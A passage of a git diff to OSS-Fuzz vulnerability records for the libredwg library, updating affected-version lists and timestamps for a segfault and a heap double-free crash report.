3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":null},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-388.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47151"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-388","published":"2022-05-01T00:01:54.904711Z","modified":"2026-11-12T14:30:05.363352097Z","summary":"Segv on unknown address in dwg_ref_get_object","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47151\n\n```\nCrash type: Segv on unknown address\nCrash state:\ndwg_ref_get_object\ndwg_geojson_feature\ndwg_geojson_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7bda865d59f843e174ac7e14c7dfe25243900956"}]}],"versions":["0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":null},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-388.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47151"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-400.json b/data/OSS-Fuzz/OSV-2022-400.json index 4e328d6a6e..3542897955 100644 --- a/data/OSS-Fuzz/OSV-2022-400.json +++ b/data/OSS-Fuzz/OSV-2022-400.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-400","published":"2022-05-08T00:00:40.782520Z","modified":"2026-11-11T14:45:02.979866453Z","summary":"Heap-double-free in dwg_free_XRECORD_private","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47300\n\n```\nCrash type: Heap-double-free\nCrash state:\ndwg_free_XRECORD_private\ndwg_free_XRECORD\ndwg_free_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"4eadb3538aee39bf0732ee5b273f414ddafa765e"}]}],"versions":["0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0